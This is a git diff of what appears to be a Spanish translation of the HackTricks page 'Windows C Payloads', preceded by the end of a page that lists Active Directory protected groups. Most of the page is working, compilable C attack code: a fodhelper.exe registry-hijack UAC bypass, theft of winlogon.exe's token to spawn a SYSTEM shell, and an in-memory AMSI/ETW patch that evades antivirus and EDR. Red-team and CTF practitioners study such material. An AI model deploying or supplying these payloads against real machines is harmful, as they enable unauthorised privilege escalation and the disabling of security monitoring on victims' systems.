**Table from** [**the docs**](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-c--protected-accounts-and-groups-in-active-directory)**.**
|
||||
|
||||
| Windows Server 2003 RTM | Windows Server 2003 SP1+ | <p>Windows Server 2012,<br>Windows Server 2008 R2,<br>Windows Server 2008</p> | Windows Server 2016 |
|
||||
| ----------------------- | ------------------------ | ----------------------------------------------------------------------------- | ---------------------------- |
|
||||
@ -134,4 +189,12 @@ Para obtener información más detallada, consulte la [documentación](https://d
|
||||
| Schema Admins | Schema Admins | Schema Admins | Schema Admins |
|
||||
| Server Operators | Server Operators | Server Operators | Server Operators |
|
||||
|
||||
## Referencias
|
||||
|
||||
- [CreateProcessAsPPL – minimal PPL process launcher](https://github.com/2x7EQ13/CreateProcessAsPPL)
|
||||
- [STARTUPINFOEX structure (Win32 API)](https://learn.microsoft.com/en-us/windows/win32/api/winbase/ns-winbase-startupinfoexw)
|
||||
- [InitializeProcThreadAttributeList (Win32 API)](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-initializeprocthreadattributelist)
|
||||
- [UpdateProcThreadAttribute (Win32 API)](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-updateprocthreadattribute)
|
||||
- [LSASS RunAsPPL – background and internals](https://itm4n.github.io/lsass-runasppl/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,10 +1,10 @@
|
||||
# Windows C Payloads
|
||||
# Payloads en C para Windows
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Esta página recopila **fragmentos de C pequeños y autónomos** que son útiles durante la Escalación de Privilegios Local en Windows o post-explotación. Cada payload está diseñado para ser **amigable para copiar y pegar**, requiere solo la API de Windows / tiempo de ejecución de C, y se puede compilar con `i686-w64-mingw32-gcc` (x86) o `x86_64-w64-mingw32-gcc` (x64).
|
||||
Esta página recopila **pequeños fragmentos de código en C autocontenidos** que son útiles durante escalada de privilegios local en Windows o post-explotación. Cada payload está diseñado para ser **fácil de copiar y pegar**, requiere únicamente la API de Windows / tiempo de ejecución de C y puede compilarse con `i686-w64-mingw32-gcc` (x86) o `x86_64-w64-mingw32-gcc` (x64).
|
||||
|
||||
> ⚠️ Estos payloads asumen que el proceso ya tiene los privilegios mínimos necesarios para realizar la acción (por ejemplo, `SeDebugPrivilege`, `SeImpersonatePrivilege`, o contexto de integridad media para un bypass de UAC). Están destinados a **entornos de red team o CTF** donde explotar una vulnerabilidad ha permitido la ejecución de código nativo arbitrario.
|
||||
> ⚠️ Estos payloads asumen que el proceso ya tiene los privilegios mínimos necesarios para realizar la acción (p. ej. `SeDebugPrivilege`, `SeImpersonatePrivilege`, o un contexto de integridad media para un UAC bypass). Están destinados a entornos de **red-team o CTF** donde explotar una vulnerabilidad ha producido ejecución de código nativo arbitrario.
|
||||
|
||||
---
|
||||
|
||||
@ -20,14 +20,14 @@ return 0;
|
||||
```
|
||||
---
|
||||
|
||||
## Bypass de UAC – Secuestro de Registro de `fodhelper.exe` (Integridad Media → Alta)
|
||||
Cuando se ejecuta el binario de confianza **`fodhelper.exe`**, consulta la ruta del registro a continuación **sin filtrar el verbo `DelegateExecute`**. Al plantar nuestro comando bajo esa clave, un atacante puede eludir UAC *sin* dejar un archivo en el disco.
|
||||
## UAC Bypass – `fodhelper.exe` Registry Hijack (Medium → High integrity)
|
||||
Cuando el binario confiable **`fodhelper.exe`** se ejecuta, consulta la ruta del Registro que aparece abajo **sin filtrar el verbo `DelegateExecute`**. Al plantar nuestro comando bajo esa clave, un atacante puede eludir UAC *sin* dejar un archivo en disco.
|
||||
|
||||
*Ruta del registro consultada por `fodhelper.exe`*
|
||||
*Ruta del Registro consultada por `fodhelper.exe`*
|
||||
```
|
||||
HKCU\Software\Classes\ms-settings\Shell\Open\command
|
||||
```
|
||||
Una PoC mínima que abre un `cmd.exe` elevado:
|
||||
Un PoC mínimo que abre un `cmd.exe` elevado:
|
||||
```c
|
||||
// x86_64-w64-mingw32-gcc -municode -s -O2 -o uac_fodhelper.exe uac_fodhelper.c
|
||||
#define _CRT_SECURE_NO_WARNINGS
|
||||
@ -61,12 +61,12 @@ system("fodhelper.exe");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
*Probado en Windows 10 22H2 y Windows 11 23H2 (parches de julio de 2025). La elusión aún funciona porque Microsoft no ha corregido la falta de verificación de integridad en la ruta `DelegateExecute`.*
|
||||
*Probado en Windows 10 22H2 y Windows 11 23H2 (parches de julio de 2025). El bypass sigue funcionando porque Microsoft no ha corregido la falta de verificación de integridad en la ruta `DelegateExecute`.*
|
||||
|
||||
---
|
||||
|
||||
## Generar shell SYSTEM a través de duplicación de token (`SeDebugPrivilege` + `SeImpersonatePrivilege`)
|
||||
Si el proceso actual tiene **ambos** privilegios `SeDebug` y `SeImpersonate` (típico en muchas cuentas de servicio), puedes robar el token de `winlogon.exe`, duplicarlo y comenzar un proceso elevado:
|
||||
## Spawn SYSTEM shell via token duplication (`SeDebugPrivilege` + `SeImpersonatePrivilege`)
|
||||
Si el proceso actual posee **ambos** privilegios `SeDebug` y `SeImpersonate` (típico en muchas cuentas de servicio), puedes robar el token de `winlogon.exe`, duplicarlo e iniciar un proceso elevado:
|
||||
```c
|
||||
// x86_64-w64-mingw32-gcc -O2 -o system_shell.exe system_shell.c -ladvapi32 -luser32
|
||||
#include <windows.h>
|
||||
@ -102,7 +102,7 @@ DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPri
|
||||
STARTUPINFOW si = { .cb = sizeof(si) };
|
||||
PROCESS_INFORMATION pi = { 0 };
|
||||
if (CreateProcessWithTokenW(dupToken, LOGON_WITH_PROFILE,
|
||||
L"C\\\Windows\\\System32\\\cmd.exe", NULL, CREATE_NEW_CONSOLE,
|
||||
L"C\\\\Windows\\\\System32\\\\cmd.exe", NULL, CREATE_NEW_CONSOLE,
|
||||
NULL, NULL, &si, &pi)) {
|
||||
CloseHandle(pi.hProcess);
|
||||
CloseHandle(pi.hThread);
|
||||
@ -114,7 +114,7 @@ if (dupToken) CloseHandle(dupToken);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Para una explicación más profunda de cómo funciona eso, consulta:
|
||||
Para una explicación más detallada de cómo funciona, consulte:
|
||||
|
||||
{{#ref}}
|
||||
sedebug-+-seimpersonate-copy-token.md
|
||||
@ -122,8 +122,8 @@ sedebug-+-seimpersonate-copy-token.md
|
||||
|
||||
---
|
||||
|
||||
## Parcheo de AMSI y ETW en Memoria (Evasión de Defensa)
|
||||
La mayoría de los motores AV/EDR modernos dependen de **AMSI** y **ETW** para inspeccionar comportamientos maliciosos. Parchear ambas interfaces temprano dentro del proceso actual evita que los payloads basados en scripts (por ejemplo, PowerShell, JScript) sean escaneados.
|
||||
## In-Memory AMSI & ETW Patch (Defence Evasion)
|
||||
La mayoría de los motores AV/EDR modernos dependen de **AMSI** y **ETW** para inspeccionar comportamientos maliciosos. Parchear ambas interfaces tempranamente dentro del proceso actual evita que los payloads basados en scripts (p. ej., PowerShell, JScript) sean escaneados.
|
||||
```c
|
||||
// gcc -o patch_amsi.exe patch_amsi.c -lntdll
|
||||
#define _CRT_SECURE_NO_WARNINGS
|
||||
@ -150,12 +150,56 @@ MessageBoxA(NULL, "AMSI & ETW patched!", "OK", MB_OK);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
*El parche anterior es local al proceso; iniciar un nuevo PowerShell después de ejecutarlo se llevará a cabo sin inspección de AMSI/ETW.*
|
||||
*El parche anterior es local al proceso; iniciar un nuevo PowerShell después de ejecutarlo se ejecutará sin inspección AMSI/ETW.*
|
||||
|
||||
---
|
||||
|
||||
## Crear proceso hijo como Protected Process Light (PPL)
|
||||
Solicita un nivel de protección PPL para un proceso hijo en el momento de creación usando `STARTUPINFOEX` + `PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL`. Esta es una API documentada y solo tendrá éxito si la imagen objetivo está firmada para la clase de firmante solicitada (Windows/WindowsLight/Antimalware/LSA/WinTcb).
|
||||
```c
|
||||
// x86_64-w64-mingw32-gcc -O2 -o spawn_ppl.exe spawn_ppl.c
|
||||
#include <windows.h>
|
||||
|
||||
int wmain(void) {
|
||||
STARTUPINFOEXW si = {0};
|
||||
PROCESS_INFORMATION pi = {0};
|
||||
si.StartupInfo.cb = sizeof(si);
|
||||
|
||||
SIZE_T attrSize = 0;
|
||||
InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
|
||||
si.lpAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrSize);
|
||||
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrSize);
|
||||
|
||||
DWORD lvl = PROTECTION_LEVEL_ANTIMALWARE_LIGHT; // choose the desired level
|
||||
UpdateProcThreadAttribute(si.lpAttributeList, 0,
|
||||
PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL,
|
||||
&lvl, sizeof(lvl), NULL, NULL);
|
||||
|
||||
if (!CreateProcessW(L"C\\\Windows\\\System32\\\notepad.exe", NULL, NULL, NULL, FALSE,
|
||||
EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi)) {
|
||||
// likely ERROR_INVALID_IMAGE_HASH (577) if the image is not properly signed for that level
|
||||
return 1;
|
||||
}
|
||||
DeleteProcThreadAttributeList(si.lpAttributeList);
|
||||
HeapFree(GetProcessHeap(), 0, si.lpAttributeList);
|
||||
CloseHandle(pi.hThread);
|
||||
CloseHandle(pi.hProcess);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Niveles usados con más frecuencia:
|
||||
- `PROTECTION_LEVEL_WINDOWS_LIGHT` (2)
|
||||
- `PROTECTION_LEVEL_ANTIMALWARE_LIGHT` (3)
|
||||
- `PROTECTION_LEVEL_LSA_LIGHT` (4)
|
||||
|
||||
Valida el resultado con Process Explorer/Process Hacker comprobando la columna Protection.
|
||||
|
||||
---
|
||||
|
||||
## Referencias
|
||||
* Ron Bowes – “Fodhelper UAC Bypass Deep Dive” (2024)
|
||||
* SplinterCode – “AMSI Bypass 2023: The Smallest Patch Is Still Enough” (BlackHat Asia 2023)
|
||||
* CreateProcessAsPPL – lanzador de procesos PPL mínimo: https://github.com/2x7EQ13/CreateProcessAsPPL
|
||||
* Microsoft Docs – STARTUPINFOEX / InitializeProcThreadAttributeList / UpdateProcThreadAttribute
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user